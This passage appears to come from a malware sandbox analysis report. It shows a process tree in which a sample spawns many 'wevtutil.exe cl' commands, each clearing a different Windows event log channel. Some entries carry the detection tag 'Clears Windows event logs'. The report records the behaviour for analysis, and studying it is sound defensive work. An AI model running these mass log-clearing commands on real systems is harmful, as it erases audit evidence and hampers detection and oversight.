    wevtutil.exe cl "Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Debug"
    3⤵
    - Clears Windows event logs
    PID:6868
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Operational"
    3⤵
    PID:8028
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceSetupManager/Admin"
    3⤵
    PID:7024
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceSetupManager/Analytic"
    3⤵
    PID:6604
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceSetupManager/Debug"
    3⤵
    PID:5364
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceSetupManager/Operational"
    3⤵
    - Clears Windows event logs
    PID:1340
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceSync/Analytic"
    3⤵
    PID:7644
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceSync/Operational"
    3⤵
    PID:5936
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceUpdateAgent/Operational"
    3⤵
    PID:2016
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceUx/Informational"
    3⤵
    PID:8176
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceUx/Performance"
    3⤵
    PID:3048
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Devices-Background/Operational"
    3⤵
    PID:5964
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dhcp-Client/Admin"
    3⤵
    PID:6080
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dhcp-Client/Operational"
    3⤵
    PID:6124
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dhcpv6-Client/Admin"
    3⤵
    PID:7620
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dhcpv6-Client/Operational"
    3⤵
    PID:6968
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DiagCpl/Debug"
    3⤵
    PID:6224
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-AdvancedTaskManager/Analytic"
    3⤵
    PID:7496
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Analytic"
    3⤵
    PID:5608
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Debug"
    3⤵
    PID:916
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Operational"
    3⤵
    PID:7116
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-MSDE/Debug"
    3⤵
    PID:5844
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Analytic"
    3⤵
    - Clears Windows event logs
    PID:6624
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Debug"
    3⤵
    PID:3492
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Operational"
    3⤵
    PID:4548
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-PLA/Debug"
    3⤵
    PID:2344
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-PLA/Operational"
    3⤵
    PID:6564
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-Perfhost/Analytic"
    3⤵
    - Clears Windows event logs
    PID:7840
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scheduled/Operational"
    3⤵
    PID:2708
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Admin"
    3⤵
    PID:5164
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Analytic"
    3⤵
    - Clears Windows event logs
    PID:4476
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Debug"
    3⤵
    PID:3672
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Operational"
    3⤵
    PID:6128
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-ScriptedDiagnosticsProvider/Debug"
    3⤵
    PID:2388
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-ScriptedDiagnosticsProvider/Operational"
    3⤵
    PID:5860
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-WDC/Analytic"
    3⤵
    PID:916
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-WDI/Debug"
    3⤵
    PID:2280
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-Networking/Debug"
    3⤵
    PID:5244
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-Networking/Operational"
    3⤵
    PID:6460
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-PerfTrack-Counters/Diagnostic"
    3⤵
    PID:6224
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-PerfTrack/Diagnostic"
    3⤵
    PID:5384
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Diagnostic"
    3⤵
    PID:1476
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Diagnostic/Loopback"
    3⤵
    - Clears Windows event logs
    PID:5328
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Operational"
    3⤵
    PID:3768
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D10/Analytic"
    3⤵
    PID:7192
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D10_1/Analytic"
    3⤵
    PID:4408
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D11/Analytic"
    3⤵
    PID:1124
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D11/Logging"
    3⤵
    PID:3364
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D11/PerfTiming"
    3⤵
    PID:4204
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D12/Analytic"
    3⤵
    PID:6612
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D12/Logging"
    3⤵
    PID:4432
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D12/PerfTiming"
    3⤵
    PID:6468
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D9/Analytic"
    3⤵
    PID:3004
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3DShaderCache/Default"
    3⤵
    PID:6536
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DirectComposition/Diagnostic"
    3⤵
    PID:5784
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DirectManipulation/Diagnostic"
    3⤵
    PID:8040
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DirectShow-KernelSupport/Performance"
    3⤵
    - Clears Windows event logs
    PID:7352
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DirectSound/Debug"
    3⤵
    PID:1900
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Disk/Operational"
    3⤵
    PID:4640
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DiskDiagnostic/Operational"
    3⤵
    PID:5352
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DiskDiagnosticDataCollector/Operational"
    3⤵
    PID:6948
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DiskDiagnosticResolver/Operational"
    3⤵
    PID:5712
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dism-Api/Analytic"
    3⤵
    PID:2708
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dism-Api/ExternalAnalytic"
    3⤵
    PID:4668
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dism-Api/InternalAnalytic"
    3⤵
    PID:6604
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dism-Cli/Analytic"
    3⤵
    PID:3444
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DisplayColorCalibration/Debug"
    3⤵
    PID:7472
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DisplayColorCalibration/Operational"
    3⤵
    PID:7720
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DisplaySwitch/Diagnostic"
    3⤵
    PID:6312
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Documents/Performance"
    3⤵
    PID:1988
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dot3MM/Diagnostic"
    3⤵
    PID:3052
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DriverFrameworks-UserMode/Operational"
    3⤵
    PID:4732
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DucUpdateAgent/Operational"
    3⤵
    PID:3180
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dwm-API/Diagnostic"
    3⤵
    PID:3944
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dwm-Core/Diagnostic"
    3⤵
    PID:2168
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dwm-Dwm/Diagnostic"
    3⤵
    PID:3772
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dwm-Redir/Diagnostic"
    3⤵
    PID:116
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dwm-Udwm/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:6072
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxgKrnl-Admin"
    3⤵
    PID:7720
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxgKrnl-Operational"
    3⤵
    - Clears Windows event logs
    PID:6700
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxgKrnl/Contention"
    3⤵
    PID:6148
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxgKrnl/Diagnostic"
    3⤵
    PID:6820
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxgKrnl/Performance"
    3⤵
    PID:116
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxgKrnl/Power"
    3⤵
    PID:7896
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxpTaskSyncProvider/Analytic"
    3⤵
    PID:2172
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EDP-Application-Learning/Admin"
    3⤵
    PID:1000
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EDP-Audit-Regular/Admin"
    3⤵
    PID:4904
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EDP-Audit-TCB/Admin"
    3⤵
    PID:448
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EFS/Debug"
    3⤵
    PID:6092
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ESE/IODiagnose"
    3⤵
    PID:3804
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ESE/Operational"
    3⤵
    PID:5364
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EapHost/Analytic"
    3⤵
    PID:5416
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EapHost/Debug"
    3⤵
    PID:5344
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EapHost/Operational"
    3⤵
    PID:1776
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EapMethods-RasChap/Operational"
    3⤵
    PID:8156
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EapMethods-RasTls/Operational"
    3⤵
    PID:6196
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EapMethods-Sim/Operational"
    3⤵
    PID:8012
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EapMethods-Ttls/Operational"
    3⤵
    PID:7732
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EaseOfAccess/Diagnostic"
    3⤵
    PID:2680
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Energy-Estimation-Engine/EventLog"
    3⤵
    PID:3200
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Energy-Estimation-Engine/Trace"
    3⤵
    PID:5704
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EnhancedStorage-EhStorTcgDrv/Analytic"
    3⤵
    PID:8144
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EventCollector/Debug"
    3⤵
    PID:5924
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EventCollector/Operational"
    3⤵
    PID:5776
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EventLog-WMIProvider/Debug"
    3⤵
    PID:6076
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EventLog/Analytic"
    3⤵
    PID:1016
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EventLog/Debug"
    3⤵
    PID:6016
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FMS/Analytic"
    3⤵
    PID:7304
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FMS/Debug"
    3⤵
    PID:8000
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FMS/Operational"
    3⤵
    PID:7116
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FailoverClustering-Client/Diagnostic"
    3⤵
    PID:5552
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Fault-Tolerant-Heap/Operational"
    3⤵
    PID:5404
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FeatureConfiguration/Analytic"
    3⤵
    PID:7676
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FeatureConfiguration/Operational"
    3⤵
    - Clears Windows event logs
    PID:5320
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Catalog/Analytic"
    3⤵
    PID:7212
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Catalog/Debug"
    3⤵
    PID:7652
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-ConfigManager/Analytic"
    3⤵
    PID:7768
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-ConfigManager/Debug"
    3⤵
    PID:7120
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Core/Analytic"
    3⤵
    PID:6840
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Core/Debug"
    3⤵
    PID:6876
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Core/WHC"
    3⤵
    PID:4108
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Engine/Analytic"
    3⤵
    PID:1704
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Engine/BackupLog"
    3⤵
    PID:836
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Engine/Debug"
    3⤵
    PID:7368
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-EventListener/Analytic"
    3⤵
    PID:5240
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-EventListener/Debug"
    3⤵
    PID:5148
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Service/Analytic"
    3⤵
    PID:2052
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Service/Debug"
    3⤵
    PID:6564
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-UI-Events/Analytic"
    3⤵
    PID:3404
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-UI-Events/Debug"
    3⤵
    PID:7688
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileInfoMinifilter/Operational"
    3⤵
    - Clears Windows event logs
    PID:5760
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Firewall-CPL/Diagnostic"
    3⤵
    PID:4476
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Folder Redirection/Operational"
    3⤵
    PID:4176
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Forwarding/Debug"
    3⤵
    PID:8004
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Forwarding/Operational"
    3⤵
    PID:640
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-GPIO-ClassExtension/Analytic"
    3⤵
    PID:7164
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-GenericRoaming/Admin"
    3⤵
    PID:7340
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-GroupPolicy/Operational"
    3⤵
    PID:8028
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HAL/Debug"
    3⤵
    PID:8168
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HealthCenter/Debug"
    3⤵
    PID:2772
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HealthCenter/Performance"
    3⤵
    PID:5604
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HealthCenterCPL/Performance"
    3⤵
    PID:6432
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HelloForBusiness/Operational"
    3⤵
    PID:4996
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Help/Operational"
    3⤵
    PID:5856
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HomeGroup Control Panel Performance/Diagnostic"
    3⤵
    PID:7176
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HomeGroup Control Panel/Operational"
    3⤵
    PID:544
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HomeGroup Listener Service/Operational"
    3⤵
    - Clears Windows event logs
    PID:7652
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HomeGroup Provider Service Performance/Diagnostic"
    3⤵
    PID:1232
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HomeGroup Provider Service/Operational"
    3⤵
    PID:7232
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HomeGroup-ListenerService"
    3⤵
    PID:7208
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HotspotAuth/Analytic"
    3⤵
    PID:6980
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HotspotAuth/Operational"
    3⤵
    PID:6308
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HttpService/Log"
    3⤵
    PID:8088
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HttpService/Trace"
    3⤵
    PID:4212
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Hyper-V-Guest-Drivers/Admin"
    3⤵
    PID:5444
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Hyper-V-Guest-Drivers/Analytic"
    3⤵
    PID:7588
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Hyper-V-Guest-Drivers/Debug"
    3⤵
    PID:4900
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Hyper-V-Guest-Drivers/Diagnose"
    3⤵
    PID:2648
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Hyper-V-Guest-Drivers/Operational"
    3⤵
    PID:7512
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Hyper-V-Hypervisor-Admin"
    3⤵
    PID:5784
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Hyper-V-Hypervisor-Analytic"
    3⤵
    PID:6256
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Hyper-V-Hypervisor-Operational"
    3⤵
    - Clears Windows event logs
    PID:6692
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Hyper-V-NETVSC/Diagnostic"
    3⤵
    PID:6272
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Hyper-V-VID-Admin"
    3⤵
    PID:1792
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Hyper-V-VID-Analytic"
    3⤵
    PID:6400
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IE-SmartScreen"
    3⤵
    PID:5136
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IKE/Operational"
    3⤵
    PID:5344
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IKEDBG/Debug"
    3⤵
    - Clears Windows event logs
    PID:1436
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-Broker/Analytic"
    3⤵
    PID:5100
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-CandidateUI/Analytic"
    3⤵
    PID:8072
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-CustomerFeedbackManager/Debug"
    3⤵
    PID:3532
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-CustomerFeedbackManagerUI/Analytic"
    3⤵
    PID:3928
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-JPAPI/Analytic"
    3⤵
    PID:7672
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-JPLMP/Analytic"
    3⤵
    PID:7032
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-JPPRED/Analytic"
    3⤵
    - Clears Windows event logs
    PID:1244
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-JPSetting/Analytic"
    3⤵
    PID:4428
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-JPTIP/Analytic"
    3⤵
    PID:5640
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-KRAPI/Analytic"
    3⤵
    PID:5420
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-KRTIP/Analytic"
    3⤵
    PID:7960
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-OEDCompiler/Analytic"
    3⤵
    PID:7564
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-TCCORE/Analytic"
    3⤵
    PID:8132
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-TCTIP/Analytic"
    3⤵
    PID:3812
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-TIP/Analytic"
    3⤵
    - Clears Windows event logs
    PID:6964
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IPNAT/Diagnostic"
    3⤵
    PID:7256
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IPSEC-SRV/Diagnostic"
    3⤵
    PID:6836
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IPxlatCfg/Debug"
    3⤵
    - Clears Windows event logs
    PID:6328
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IPxlatCfg/Operational"
    3⤵
    - Clears Windows event logs
    PID:4572
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IdCtrls/Analytic"
    3⤵
    PID:2388
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IdCtrls/Operational"
    3⤵
    PID:3832
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IndirectDisplays-ClassExtension-Events/Diagnostic"
    3⤵
    PID:3540
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Input-HIDCLASS-Analytic"
    3⤵
    PID:5108
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-InputSwitch/Diagnostic"
    3⤵
    PID:5032
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-International-RegionalOptionsControlPanel/Operational"
    3⤵
    PID:7968
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Iphlpsvc/Debug"
    3⤵
    PID:5636
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Iphlpsvc/Operational"
    3⤵
    PID:4764
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Iphlpsvc/Trace"
    3⤵
    PID:7620
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-KdsSvc/Operational"
    3⤵
    PID:1780
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kerberos/Operational"
    3⤵
    PID:5240
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Acpi/Diagnostic"
    3⤵
    PID:4604
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-AppCompat/General"
    3⤵
    PID:7156
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-AppCompat/Performance"
    3⤵
    PID:3288
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-ApphelpCache/Analytic"
    3⤵
    PID:4036
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-ApphelpCache/Debug"
    3⤵
    PID:6212
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-ApphelpCache/Operational"
    3⤵
    PID:6696
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Boot/Analytic"
    3⤵
    PID:8048
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Boot/Operational"
    3⤵
    PID:4388
- - C:\Windows\system32\wevtutil.exe
